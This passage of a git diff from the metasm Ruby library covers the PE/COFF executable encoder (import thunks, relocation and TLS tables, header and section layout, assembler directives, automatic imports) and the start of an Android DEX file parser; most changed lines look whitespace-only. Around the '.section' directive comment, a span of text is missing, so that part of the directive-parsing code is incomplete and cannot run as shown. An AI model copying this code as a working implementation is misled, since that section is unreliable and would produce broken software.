s.encoded.export['metasm_intern_geteip'] } and edata.empty? + edata << shellcode["metasm_intern_geteip: call 42f\n42:\npop eax\nsub eax, 42b-metasm_intern_geteip\nret"] + end + edata << shellcode["#{import.thunk}: call metasm_intern_geteip\njmp [eax+#{import.target}-metasm_intern_geteip]"] + else + edata << shellcode["#{import.thunk}: jmp [#{import.target}]"] + end + else raise EncodeError, 'E: COFF: encode import thunk: unsupported architecture' + end + end + + def encode_tls + dir, cbtable = @tls.encode(self) + @directory['tls_table'] = [label_at(dir, 0, 'tls_table'), dir.virtsize] + + s = Section.new + s.name = '.tls' + s.encoded = EncodedData.new << dir << cbtable + s.characteristics = %w[MEM_READ MEM_WRITE] + encode_append_section s + end + + # encodes relocation tables in a new section .reloc, updates @directory['base_relocation_table'] + def encode_relocs + if @relocations.empty? + rt = RelocationTable.new + rt.base_addr = 0 + rt.relocs = [] + @relocations << rt + end + relocs = @relocations.inject(EncodedData.new) { |edata, rt_| edata << rt_.encode(self) } + + @directory['base_relocation_table'] = [label_at(relocs, 0, 'reloc_table'), relocs.virtsize] + + s = Section.new + s.name = '.reloc' + s.encoded = relocs + s.characteristics = %w[MEM_READ MEM_DISCARDABLE] + encode_append_section s + end + + # creates the @relocations from sections.encoded.reloc + def create_relocation_tables + @relocations = [] + + # create a fake binding with all exports, to find only-image_base-dependant relocs targets + # not foolproof, but works in standard cases + startaddr = curaddr = label_at(@encoded, 0, 'coff_start') + binding = {} + @sections.each { |s| + binding.update s.encoded.binding(curaddr) + curaddr = Expression[curaddr, :+, s.encoded.virtsize] + } + + # for each section.encoded, make as many RelocationTables as needed + @sections.each { |s| + + # rt.base_addr temporarily holds the offset from section_start, and is fixed up to rva before '@reloc << rt' + rt = RelocationTable.new + + s.encoded.reloc.each { |off, rel| + # check that the relocation looks like "program_start + integer" when bound using the fake binding + # XXX allow :i32 etc + if rel.endianness == @endianness and [:u32, :a32, :u64, :a64].include?(rel.type) and + rel.target.bind(binding).reduce.kind_of?(Expression) and + Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) + # winner ! + + # build relocation + r = RelocationTable::Relocation.new + r.offset = off & 0xfff + r.type = { :u32 => 'HIGHLOW', :u64 => 'DIR64', :a32 => 'HIGHLOW', :a64 => 'DIR64' }[rel.type] + + # check if we need to start a new relocation table + if rt.base_addr and (rt.base_addr & ~0xfff) != (off & ~0xfff) + rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] + @relocations << rt + rt = RelocationTable.new + end + + # initialize reloc table base address if needed + if not rt.base_addr + rt.base_addr = off & ~0xfff + end + + (rt.relocs ||= []) << r + elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) + puts "W: COFF: Ignoring weird relocation #{rel.inspect} when building relocation tables" + end + } + + if rt and rt.relocs + rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] + @relocations << rt + end + } + end + + def encode_resource + res = @resource.encode self + + @directory['resource_table'] = [label_at(res, 0, 'resource_table'), res.virtsize] + + s = Section.new + s.name = '.rsrc' + s.encoded = res + s.characteristics = %w[MEM_READ] + encode_append_section s + end + + # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] + def pre_encode_header(target = 'exe', want_relocs=true) + target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) + + @header.machine ||= case @cpu.shortname + when 'x64'; 'AMD64' + when 'ia32'; 'I386' + end + @optheader.signature ||= case @cpu.size + when 32; 'PE' + when 64; 'PE+' + end + @bitsize = (@optheader.signature == 'PE+' ? 64 : 32) + + # setup header flags + tmp = %w[LINE_NUMS_STRIPPED LOCAL_SYMS_STRIPPED DEBUG_STRIPPED] + + case target + when 'exe'; %w[EXECUTABLE_IMAGE] + when 'dll'; %w[EXECUTABLE_IMAGE DLL] + when 'kmod'; %w[EXECUTABLE_IMAGE] + when 'obj'; [] + end + if @cpu.size == 32 + tmp << 'x32BIT_MACHINE' + else + tmp << 'LARGE_ADDRESS_AWARE' + end + tmp << 'RELOCS_STRIPPED' if not want_relocs + @header.characteristics ||= tmp + + @optheader.subsystem ||= case target + when 'exe', 'dll'; 'WINDOWS_GUI' + when 'kmod'; 'NATIVE' + end + + tmp = [] + tmp << 'NX_COMPAT' + tmp << 'DYNAMIC_BASE' if want_relocs + @optheader.dll_characts ||= tmp + end + + # resets the values in the header that may have been + # modified by your script (eg section count, size, imagesize, etc) + # call this whenever you decode a file, modify it, and want to reencode it later + def invalidate_header + # set those values to nil, they will be + # recomputed during encode_header + [:code_size, :data_size, :udata_size, :base_of_code, :base_of_data, + :sect_align, :file_align, :image_size, :headers_size, :checksum].each { |m| @optheader.send("#{m}=", nil) } + [:num_sect, :ptr_sym, :num_sym, :size_opthdr].each { |m| @header.send("#{m}=", nil) } + end + + # appends the header/optheader/directories/section table to @encoded + def encode_header + # encode section table, add CONTAINS_* flags from other characteristics flags + s_table = EncodedData.new + + @sections.each { |s| + if s.characteristics.kind_of? Array and s.characteristics.include? 'MEM_READ' + if s.characteristics.include? 'MEM_EXECUTE' + s.characteristics |= ['CONTAINS_CODE'] + elsif s.encoded + if s.encoded.rawsize == 0 + s.characteristics |= ['CONTAINS_UDATA'] + else + s.characteristics |= ['CONTAINS_DATA'] + end + end + end + s.rawaddr = nil if s.rawaddr.kind_of?(::Integer) # XXX allow to force rawaddr ? + s_table << s.encode(self) + } + + # encode optional header + @optheader.image_size ||= new_label('image_size') + @optheader.image_base ||= label_at(@encoded, 0) + @optheader.headers_size ||= new_label('headers_size') + @optheader.checksum ||= new_label('checksum') + @optheader.subsystem ||= 'WINDOWS_GUI' + @optheader.numrva = nil + opth = @optheader.encode(self) + + # encode header + @header.machine ||= 'UNKNOWN' + @header.num_sect ||= sections.length + @header.time ||= Time.now.to_i & -255 + @header.size_opthdr ||= opth.virtsize + @encoded << @header.encode(self) << opth << s_table + end + + # append the section bodies to @encoded, and link the resulting binary + def encode_sections_fixup + @encoded.align @optheader.file_align + if @optheader.headers_size.kind_of?(::String) + @encoded.fixup! @optheader.headers_size => @encoded.virtsize + @optheader.headers_size = @encoded.virtsize + end + + baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 + binding = @encoded.binding(baseaddr) + + curaddr = baseaddr + @optheader.headers_size + @sections.each { |s| + # align + curaddr = EncodedData.align_size(curaddr, @optheader.sect_align) + if s.rawaddr.kind_of?(::String) + @encoded.fixup! s.rawaddr => @encoded.virtsize + s.rawaddr = @encoded.virtsize + end + if s.virtaddr.kind_of?(::Integer) + raise "E: COFF: cannot encode section #{s.name}: hardcoded address too short" if curaddr > baseaddr + s.virtaddr + curaddr = baseaddr + s.virtaddr + end + binding.update s.encoded.binding(curaddr) + curaddr += s.virtsize + + pre_sz = @encoded.virtsize + @encoded << s.encoded[0, s.encoded.rawsize] + @encoded.align @optheader.file_align + if s.rawsize.kind_of?(::String) + @encoded.fixup! s.rawsize => (@encoded.virtsize - pre_sz) + s.rawsize = @encoded.virtsize - pre_sz + end + } + + # not aligned ? spec says it is, visual studio does not + binding[@optheader.image_size] = curaddr - baseaddr if @optheader.image_size.kind_of?(::String) + + # patch the iat where iat_p was defined + # sort to ensure a 0-terminated will not overwrite an entry + # (try to dump notepad.exe, which has a forwarder;) + @imports.find_all { |id| id.iat_p.kind_of? Integer }.sort_by { |id| id.iat_p }.each { |id| + s = sect_at_rva(id.iat_p) + @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat + binding.update id.iat.binding(baseaddr + id.iat_p) + } if imports + + @encoded.fill + @encoded.fixup! binding + + if @optheader.checksum.kind_of?(::String) and @encoded.reloc.length == 1 + # won't work if there are other unresolved relocs + checksum = self.class.checksum(@encoded.data, @endianness) + @encoded.fixup @optheader.checksum => checksum + @optheader.checksum = checksum + end + end + + # encode a COFF file, building export/import/reloc tables if needed + # creates the base relocation tables (need for references to IAT not known before) + # defaults to generating relocatable files, eg ALSR-aware + # pass want_relocs=false to avoid the file overhead induced by this + def encode(target = 'exe', want_relocs = true) + @encoded = EncodedData.new + label_at(@encoded, 0, 'coff_start') + pre_encode_header(target, want_relocs) + autoimport + encode_exports if export + encode_imports if imports + encode_resource if resource + encode_tls if tls + create_relocation_tables if want_relocs + encode_relocs if relocations + encode_header + encode_sections_fixup + @encoded.data + end + + def parse_init + # ahem... + # a fake object, which when appended makes us parse '.text', which creates a real default section + # forwards to it this first appendage. + # allows the user to specify its own section if he wishes, and to use .text if he doesn't + if not defined? @cursource or not @cursource + @cursource = ::Object.new + class << @cursource + attr_accessor :coff + def <<(*a) + t = Preprocessor::Token.new(nil) + t.raw = '.text' + coff.parse_parser_instruction t + coff.cursource.send(:<<, *a) + end + end + @cursource.coff = self + end + @source ||= {} + super() + end + + # handles compiler meta-instructions + # + # syntax: + # .section "
" + # section name is a string (may be quoted) + # perms are in 'r' 'w' 'x' 'shared' 'discard', may be concatenated (in this order), may be prefixed by 'no' to remove the attribute for an existing section + # base is the token 'base', the token '=' and an immediate expression + # default sections: + # .text = .section '.text' rx + # .data = .section '.data' rw + # .rodata = .section '.rodata' r + # .bss = .section '.bss' rw + # .entrypoint | .entrypoint
[(no)r w x shared discard] [base=] + sname = readstr[] + if not s = @sections.find { |s_| s_.name == sname } + s = Section.new + s.name = sname + s.encoded = EncodedData.new + s.characteristics = [] + @sections << s + end + loop do + @lexer.skip_space + break if not tok = @lexer.nexttok or tok.type != :string + case @lexer.readtok.raw.downcase + when /^(no)?(r)?(w)?(x)?(shared)?(discard)?$/ + ar = [] + ar << 'MEM_READ' if $2 + ar << 'MEM_WRITE' if $3 + ar << 'MEM_EXECUTE' if $4 + ar << 'MEM_SHARED' if $5 + ar << 'MEM_DISCARDABLE' if $6 + if $1; s.characteristics -= ar + else s.characteristics |= ar + end + when 'base' + @lexer.skip_space + @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '=' + raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer) + if not @optheader.image_base + @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 + puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE + end + s.virtaddr -= @optheader.image_base + else raise instr, 'unknown parameter' + end + end + @cursource = @source[sname] ||= [] + check_eol[] + + when '.libname' + # export directory library name + # .libname + @export ||= ExportDirectory.new + @export.libname = readstr[] + check_eol[] + + when '.export' + # .export [ordinal] [label to export if different] + @lexer.skip_space + raise instr, 'string expected' if not tok = @lexer.readtok or (tok.type != :string and tok.type != :quoted) + exportname = tok.value || tok.raw + if tok.type == :string and (?0..?9).include? tok.raw[0] + exportname = Integer(exportname) rescue raise(tok, "bad ordinal value, try quotes #{' or rm leading 0' if exportname[0] == ?0}") + end + + @lexer.skip_space + tok = @lexer.readtok + if tok and tok.type == :string and (?0..?9).include? tok.raw[0] + (eord = Integer(tok.raw)) rescue @lexer.unreadtok(tok) + else @lexer.unreadtok(tok) + end + + @lexer.skip_space + tok = @lexer.readtok + if tok and tok.type == :string + exportlabel = tok.raw + else + @lexer.unreadtok tok + end + + @export ||= ExportDirectory.new + @export.exports ||= [] + e = ExportDirectory::Export.new + if exportname.kind_of? Integer + e.ordinal = exportname + else + e.name = exportname + e.ordinal = eord if eord + end + e.target = exportlabel || exportname + @export.exports << e + check_eol[] + + when '.import' + # .import [label of plt thunk|nil] [label of iat element if != symname] + libname = readstr[] + i = ImportDirectory::Import.new + + @lexer.skip_space + raise instr, 'string expected' if not tok = @lexer.readtok or (tok.type != :string and tok.type != :quoted) + if tok.type == :string and (?0..?9).include? tok.raw[0] + i.ordinal = Integer(tok.raw) + else + i.name = tok.value || tok.raw + end + + @lexer.skip_space + if tok = @lexer.readtok and tok.type == :string + i.thunk = tok.raw if tok.raw != 'nil' + @lexer.skip_space + tok = @lexer.readtok + end + if tok and tok.type == :string + i.target = tok.raw + else + i.target = ((i.thunk == i.name) ? ('iat_' + i.name) : (i.name ? i.name : (i.thunk ? 'iat_' + i.thunk : raise(instr, 'need iat label')))) + @lexer.unreadtok tok + end + raise tok, 'import target exists' if i.target != new_label(i.target) + + @imports ||= [] + if not id = @imports.find { |id_| id_.libname == libname } + id = ImportDirectory.new + id.libname = libname + id.imports = [] + @imports << id + end + id.imports << i + + check_eol[] + + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr, 'syntax error' if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @optheader.entrypoint = entrypoint + check_eol[] + + when '.image_base' + raise instr if not base = Expression.parse(@lexer) or !(base = base.reduce).kind_of?(::Integer) + @optheader.image_base = base + check_eol[] + + when '.subsystem' + @lexer.skip_space + raise instr if not tok = @lexer.readtok + @optheader.subsystem = tok.raw + check_eol[] + + else super(instr) + end + end + + def assemble(*a) + parse(*a) if not a.empty? + @source.each { |k, v| + raise "no section named #{k} ?" if not s = @sections.find { |s_| s_.name == k } + s.encoded << assemble_sequence(v, @cpu) + v.clear + } + end + + # defines __PE__ + def tune_prepro(l) + l.define_weak('__PE__', 1) + l.define_weak('__MS_X86_64_ABI__') if @cpu and @cpu.shortname == 'x64' + end + + def tune_cparser(cp) + super(cp) + cp.llp64 if @cpu.size == 64 + end + + # honors C attributes: export, export_as(foo), import_from(kernel32), entrypoint + # import by ordinal: extern __stdcall int anyname(int) __attribute__((import_from(ws2_32:28))); + # can alias imports with int mygpaddr_alias() attr(import_from(kernel32:GetProcAddr)) + def read_c_attrs(cp) + cp.toplevel.symbol.each_value { |v| + next if not v.kind_of? C::Variable + if v.has_attribute 'export' or ea = v.has_attribute_var('export_as') + @export ||= ExportDirectory.new + @export.exports ||= [] + e = ExportDirectory::Export.new + begin + e.ordinal = Integer(ea || v.name) + rescue ArgumentError + e.name = ea || v.name + end + e.target = v.name + @export.exports << e + end + if v.has_attribute('import') or ln = v.has_attribute_var('import_from') + ln ||= WindowsExports::EXPORT[v.name] + raise "unknown library for #{v.name}" if not ln + i = ImportDirectory::Import.new + if ln.include? ':' + ln, name = ln.split(':') + begin + i.ordinal = Integer(name) + rescue ArgumentError + i.name = name + end + else + i.name = v.name + end + if v.type.kind_of? C::Function + i.thunk = v.name + i.target = 'iat_'+i.thunk + else + i.target = v.name + end + + @imports ||= [] + if not id = @imports.find { |id_| id_.libname == ln } + id = ImportDirectory.new + id.libname = ln + id.imports = [] + @imports << id + end + id.imports << i + end + if v.has_attribute 'entrypoint' + @optheader.entrypoint = v.name + end + } + end + + # try to resolve automatically COFF import tables from self.sections.encoded.relocations + # and WindowsExports::EXPORT + # if the relocation target is '' or 'iat_, link to the IAT address, if it is ' + ', + # link to a thunk (plt-like) + # if the relocation is not found, try again after appending 'fallback_append' to the symbol (eg wsprintf => wsprintfA) + def autoimport(fallback_append='A') + WindowsExports rescue return # autorequire + autoexports = WindowsExports::EXPORT.dup + @sections.each { |s| + next if not s.encoded + s.encoded.export.keys.each { |e| autoexports.delete e } + } + @sections.each { |s| + next if not s.encoded + s.encoded.reloc.each_value { |r| + if r.target.op == :+ and not r.target.lexpr and r.target.rexpr.kind_of?(::String) + sym = target = r.target.rexpr + sym = sym[4..-1] if sym[0, 4] == 'iat_' + elsif r.target.op == :- and r.target.rexpr.kind_of?(::String) and r.target.lexpr.kind_of?(::String) + sym = thunk = r.target.lexpr + end + if not dll = autoexports[sym] + sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String) + next if not dll = autoexports[sym] + end + + @imports ||= [] + next if @imports.find { |id| id.imports.find { |ii| ii.name == sym } } + if not id = @imports.find { |id_| id_.libname =~ /^#{dll}(\.dll)?$/i } + id = ImportDirectory.new + id.libname = dll + id.imports = [] + @imports << id + end + if not i = id.imports.find { |i_| i_.name == sym } + i = ImportDirectory::Import.new + i.name = sym + id.imports << i + end + if (target and i.target and (i.target != target or i.thunk == target)) or + (thunk and i.thunk and (i.thunk != thunk or i.target == thunk)) + puts "autoimport: conflict for #{target} #{thunk} #{i.inspect}" if $VERBOSE + else + i.target ||= new_label(target || 'iat_' + thunk) + i.thunk ||= thunk if thunk + end + } + } + end end end diff --git a/lib/metasm/metasm/exe_format/dex.rb b/lib/metasm/metasm/exe_format/dex.rb index 4ac7c101bceea..c385dccd61565 100644 --- a/lib/metasm/metasm/exe_format/dex.rb +++ b/lib/metasm/metasm/exe_format/dex.rb @@ -12,424 +12,424 @@ module Metasm # Android Dalvik executable file format (similar to java .class) class DEX < ExeFormat - MAGIC = "dex\n" - OPTMAGIC = "dey\n" - DEPSMAGIC = "deps" - - TYPE = { 0x0000 => 'Header', 0x0001 => 'StringId', - 0x0002 => 'TypeId', 0x0003 => 'ProtoId', - 0x0004 => 'FieldId', 0x0005 => 'MethodId', - 0x0006 => 'ClassDef', - 0x1000 => 'MapList', 0x1001 => 'TypeList', - 0x1002 => 'AnnotationSetRefList', 0x1003 => 'AnnotationSetItem', - 0x2000 => 'ClassData', 0x2001 => 'CodeItem', - 0x2002 => 'StringData', 0x2003 => 'DebugInfoItem', - 0x2004 => 'AnnotationItem', 0x2005 => 'EncodedArrayItem', - 0x2006 => 'AnnotationsDirectoryItem' } - - OPT_FLAGS = { 1 => 'VERIFIED', 2 => 'BIG', 4 => 'FIELDS', 8 => 'INVOCATIONS' } - - ACCESSIBILITY_CLASS = { 1 => 'PUBLIC', 0x10 => 'FINAL', 0x20 => 'SUPER', - 0x200 => 'INTERFACE', 0x400 => 'ABSTRACT', 0x2000 => 'ANNOTATION', - 0x4000 => 'ENUM' } - - VISIBILITY = { 0 => 'BUILD', 1 => 'RUNTIME', 2 => 'SYSTEM' } - - OBJ_TYPE = { 0 => 'Byte', 2 => 'Short', 3 => 'Char', 4 => 'Int', - 6 => 'Long', 0x10 => 'Float', 0x11 => 'Double', 0x17 => 'String', - 0x18 => 'Type', 0x19 => 'Field', 0x1a => 'Method', 0x1b => 'Enum', - 0x1c => 'Array', 0x1d => 'Annotation', 0x1e => 'Null', - 0x1f => 'Boolean' } - - - class SerialStruct < Metasm::SerialStruct - new_int_field :u2, :u4, :uleb, :sleb - end - - class Header < SerialStruct - mem :sig, 4 - str :ver, 4 - decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEX signature #{hdr.sig.inspect}" if hdr.sig != MAGIC } - u4 :checksum - mem :sha1sum, 20 - u4 :filesz - u4 :headersz - u4 :endiantag, 0x12345678 - u4 :linksz - u4 :linkoff - u4 :mapoff - u4 :stringidssz - u4 :stringidsoff - u4 :typeidssz - u4 :typeidsoff - u4 :protoidssz - u4 :protoidsoff - u4 :fieldidssz - u4 :fieldidsoff - u4 :methodidssz - u4 :methodidsoff - u4 :classdefssz - u4 :classdefsoff - u4 :datasz - u4 :dataoff - end - - # header added by optimisation pass ? - class OptHeader < SerialStruct - mem :sig, 4 - str :ver, 4 - decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEY signature #{hdr.sig.inspect}" if hdr.sig != OPTMAGIC } - u4 :dexoff - u4 :dexsz - u4 :depsoff - u4 :depssz - u4 :auxoff - u4 :auxsz - u4 :flags - u4 :pad - - fld_bits :flags, OPT_FLAGS - end - - class MapList < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { MapItem.decode(exe) } - end - end - - class MapItem < SerialStruct - u2 :type - fld_enum :type, TYPE - u2 :unused - u4 :sz - u4 :off - end - - class StringId < SerialStruct - u4 :off - end - - class StringData < SerialStruct - uleb :sz - attr_accessor :str # array of sz utf8 chars - - def decode(exe) - super(exe) - @str = exe.decode_strz - end - end - - class TypeId < SerialStruct - u4 :descridx - end - - class FieldId < SerialStruct - u2 :classidx - u2 :typeidx - u4 :nameidx - end - - class MethodId < SerialStruct - u2 :classidx - u2 :typeidx - u4 :nameidx - end - - class ProtoId < SerialStruct - u4 :shortyidx - u4 :returntypeidx - u4 :parametersoff - end - - class ClassDef < SerialStruct - u4 :classidx - u4 :accessflags - fld_bits :accessflags, ACCESSIBILITY_CLASS - u4 :superclassidx - u4 :interfaceoff - u4 :sourcefileidx - u4 :annotationsoff - u4 :classdataoff - u4 :staticvaluesoff - - attr_accessor :data - end - - class ClassData < SerialStruct - uleb :staticfsz - uleb :instancefsz - uleb :directmsz - uleb :virtualmsz - - attr_accessor :static_fields, :instance_fields, - :direct_methods, :virtual_methods - - def decode(exe) - super(exe) - - @static_fields = (1..@staticfsz).map { EncodedField.decode(exe) } - @instance_fields = (1..@instancefsz).map { EncodedField.decode(exe) } - @direct_methods = (1..@directmsz).map { EncodedMethod.decode(exe) } - @virtual_methods = (1..@virtualmsz).map { EncodedMethod.decode(exe) } - end - end - - class EncodedField < SerialStruct - uleb :fieldid_diff # this field id - array.previous field id - uleb :access - - attr_accessor :field - end - - class EncodedMethod < SerialStruct - uleb :methodid_diff # this method id - array.previous method id - uleb :access - uleb :codeoff # offset to CodeItem - - attr_accessor :method, :code, :name - end - - class TypeItem < SerialStruct - u2 :typeidx - end - - class TypeList < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { TypeItem.decode(exe) } - exe.decode_u2 if @sz & 1 == 1 # align - end - end - - class CodeItem < SerialStruct - u2 :registerssz - u2 :inssz - u2 :outssz - u2 :triessz - u4 :debugoff - u4 :insnssz - - attr_accessor :insns_off, :try_items, :catch_items - - def decode(exe) - p0 = exe.encoded.ptr - super(exe) - @insns_off = exe.encoded.ptr - p0 - exe.encoded.ptr += 2*@insnssz - return if @triessz <= 0 - exe.decode_u2 if @insnssz & 1 == 1 # align - @try_items = (1..@triessz).map { Try.decode(exe) } - stptr = exe.encoded.ptr - hnr = exe.decode_uleb - @catch_items = (1..hnr).map { CatchHandler.decode(exe, exe.encoded.ptr - stptr) } - end - end - - class Try < SerialStruct - u4 :startaddr - u2 :insncount - u2 :handleroff # byte offset into the @catch_items structure - end - - class CatchHandler < SerialStruct - sleb :size - attr_accessor :byteoff - attr_accessor :type_pairs, :catchalloff - - def decode(exe, boff = nil) - super(exe) - - @byteoff = boff - @type_pairs = (1..@size.abs).map { CatchTypePair.decode(exe) } - @catchalloff = exe.decode_uleb if @size <= 0 - end - end - - class CatchTypePair < SerialStruct - uleb :typeidx - uleb :handleroff - end - - class Link < SerialStruct - # undefined - end - - class AnnotationDirectoryItem < SerialStruct - u4 :classannotationsoff - u4 :fieldssz - u4 :methodssz - u4 :parameterssz - - attr_accessor :field, :method, :parameter - def decode(exe) - super(exe) - @field = (1..@fieldssz).map { FieldAnnotationItem.decode(exe) } - @method = (1..@methodssz).map { MethodAnnotationItem.decode(exe) } - @parameter = (1..@parameterssz).map { ParameterAnnotationItem.decode(exe) } - end - end - - class FieldAnnotationItem < SerialStruct - u4 :fieldidx - u4 :annotationsoff - end - - class MethodAnnotationItem < SerialStruct - u4 :methodidx - u4 :annotationsoff - end - - class ParameterAnnotationItem < SerialStruct - u4 :methodidx - u4 :annotationsoff # off to AnnSetRefList - end - - class AnnotationSetRefList < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { AnnotationSetRefItem.decode(exe) } - end - end - - class AnnotationSetRefItem < SerialStruct - u4 :annotationsoff - end - - class AnnotationSetItem < SerialStruct - u4 :sz - attr_accessor :list - - def decode(exe) - super(exe) - @list = (1..@sz).map { AnnotationItem.decode(exe) } - end - end - - class AnnotationItem < SerialStruct - byte :visibility - fld_enum :visibility, VISIBILITY - attr_accessor :annotation - end - - - attr_accessor :endianness - - def encode_u2(val) Expression[val].encode(:u16, @endianness) end - def encode_u4(val) Expression[val].encode(:u32, @endianness) end - def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_uleb(ed = @encoded, signed=false) - v = s = 0 - while s < 5*7 - b = ed.read(1).unpack('C').first.to_i - v |= (b & 0x7f) << s - break if (b&0x80) == 0 - s += 7 - end - v = Expression.make_signed(v, s) if signed - v - end - def decode_sleb(ed = @encoded) decode_uleb(ed, true) end - attr_accessor :header, :strings, :types, :protos, :fields, :methods, :classes - - def initialize(endianness=:little) - @endianness = endianness - @encoded = EncodedData.new - super() - end - - def decode_header - @header = Header.decode(self) - end - - def decode_strings - @encoded.ptr = @header.stringidsoff - so = (1..@header.stringidssz).map { StringId.decode(self) } - @strings = so.map { |s| @encoded.ptr = s.off ; StringData.decode(self).str } - end - - def decode_types - @encoded.ptr = @header.typeidsoff - tl = (1..@header.typeidssz).map { TypeId.decode(self) } - @types = tl.map { |t| @strings[t.descridx] } # TODO demangle or something - end - - def decode_protos - @encoded.ptr = @header.protoidsoff - @protos = (1..@header.protoidssz).map { ProtoId.decode(self) } - end - - def decode_fields - @encoded.ptr = @header.fieldidsoff - @fields = (1..@header.fieldidssz).map { FieldId.decode(self) } - end - - def decode_methods - @encoded.ptr = @header.methodidsoff - @methods = (1..@header.methodidssz).map { MethodId.decode(self) } - end - - def decode_classes - @encoded.ptr = @header.classdefsoff - @classes = (1..@header.classdefssz).map { ClassDef.decode(self) } - @classes.each { |c| - next if c.classdataoff == 0 - @encoded.ptr = c.classdataoff - c.data = ClassData.decode(self) - id = 0 - (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m| - next id=0 if m == 0 - id += m.methodid_diff - m.method = @methods[id] - m.name = @strings[m.method.nameidx] - @encoded.ptr = m.codeoff - m.code = CodeItem.decode(self) - next if @encoded.ptr > @encoded.length - l = new_label(m.name + '@' + @types[c.classidx]) - @encoded.add_export l, m.codeoff + m.code.insns_off - } - } - end - - def decode - decode_header - decode_strings - decode_types - decode_protos - decode_fields - decode_methods - decode_classes - end - - def cpu_from_headers - Dalvik.new(self) - end - - def init_disassembler - dasm = super() - @classes.each { |c| - next if not c.data - (c.data.direct_methods + c.data.virtual_methods).each { |m| - n = @types[c.classidx] + '->' + m.name - dasm.comment[m.codeoff+m.code.insns_off] = [n] - } - } - dasm.function[:default] = @cpu.disassembler_default_func - dasm - end - - def each_section - yield @encoded, 0 + MAGIC = "dex\n" + OPTMAGIC = "dey\n" + DEPSMAGIC = "deps" + + TYPE = { 0x0000 => 'Header', 0x0001 => 'StringId', + 0x0002 => 'TypeId', 0x0003 => 'ProtoId', + 0x0004 => 'FieldId', 0x0005 => 'MethodId', + 0x0006 => 'ClassDef', + 0x1000 => 'MapList', 0x1001 => 'TypeList', + 0x1002 => 'AnnotationSetRefList', 0x1003 => 'AnnotationSetItem', + 0x2000 => 'ClassData', 0x2001 => 'CodeItem', + 0x2002 => 'StringData', 0x2003 => 'DebugInfoItem', + 0x2004 => 'AnnotationItem', 0x2005 => 'EncodedArrayItem', + 0x2006 => 'AnnotationsDirectoryItem' } + + OPT_FLAGS = { 1 => 'VERIFIED', 2 => 'BIG', 4 => 'FIELDS', 8 => 'INVOCATIONS' } + + ACCESSIBILITY_CLASS = { 1 => 'PUBLIC', 0x10 => 'FINAL', 0x20 => 'SUPER', + 0x200 => 'INTERFACE', 0x400 => 'ABSTRACT', 0x2000 => 'ANNOTATION', + 0x4000 => 'ENUM' } + + VISIBILITY = { 0 => 'BUILD', 1 => 'RUNTIME', 2 => 'SYSTEM' } + + OBJ_TYPE = { 0 => 'Byte', 2 => 'Short', 3 => 'Char', 4 => 'Int', + 6 => 'Long', 0x10 => 'Float', 0x11 => 'Double', 0x17 => 'String', + 0x18 => 'Type', 0x19 => 'Field', 0x1a => 'Method', 0x1b => 'Enum', + 0x1c => 'Array', 0x1d => 'Annotation', 0x1e => 'Null', + 0x1f => 'Boolean' } + + + class SerialStruct < Metasm::SerialStruct + new_int_field :u2, :u4, :uleb, :sleb + end + + class Header < SerialStruct + mem :sig, 4 + str :ver, 4 + decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEX signature #{hdr.sig.inspect}" if hdr.sig != MAGIC } + u4 :checksum + mem :sha1sum, 20 + u4 :filesz + u4 :headersz + u4 :endiantag, 0x12345678 + u4 :linksz + u4 :linkoff + u4 :mapoff + u4 :stringidssz + u4 :stringidsoff + u4 :typeidssz + u4 :typeidsoff + u4 :protoidssz + u4 :protoidsoff + u4 :fieldidssz + u4 :fieldidsoff + u4 :methodidssz + u4 :methodidsoff + u4 :classdefssz + u4 :classdefsoff + u4 :datasz + u4 :dataoff + end + + # header added by optimisation pass ? + class OptHeader < SerialStruct + mem :sig, 4 + str :ver, 4 + decode_hook { |exe, hdr| raise InvalidExeFormat, "E: invalid DEY signature #{hdr.sig.inspect}" if hdr.sig != OPTMAGIC } + u4 :dexoff + u4 :dexsz + u4 :depsoff + u4 :depssz + u4 :auxoff + u4 :auxsz + u4 :flags + u4 :pad + + fld_bits :flags, OPT_FLAGS + end + + class MapList < SerialStruct + u4 :sz + attr_accessor :list + + def decode(exe) + super(exe) + @list = (1..@sz).map { MapItem.decode(exe) } + end + end + + class MapItem < SerialStruct + u2 :type + fld_enum :type, TYPE + u2 :unused + u4 :sz + u4 :off + end + + class StringId < SerialStruct + u4 :off + end + + class StringData < SerialStruct + uleb :sz + attr_accessor :str # array of sz utf8 chars + + def decode(exe) + super(exe) + @str = exe.decode_strz + end + end + + class TypeId < SerialStruct + u4 :descridx + end + + class FieldId < SerialStruct + u2 :classidx + u2 :typeidx + u4 :nameidx + end + + class MethodId < SerialStruct + u2 :classidx + u2 :typeidx + u4 :nameidx + end + + class ProtoId < SerialStruct + u4 :shortyidx + u4 :returntypeidx + u4 :parametersoff + end + + class ClassDef < SerialStruct + 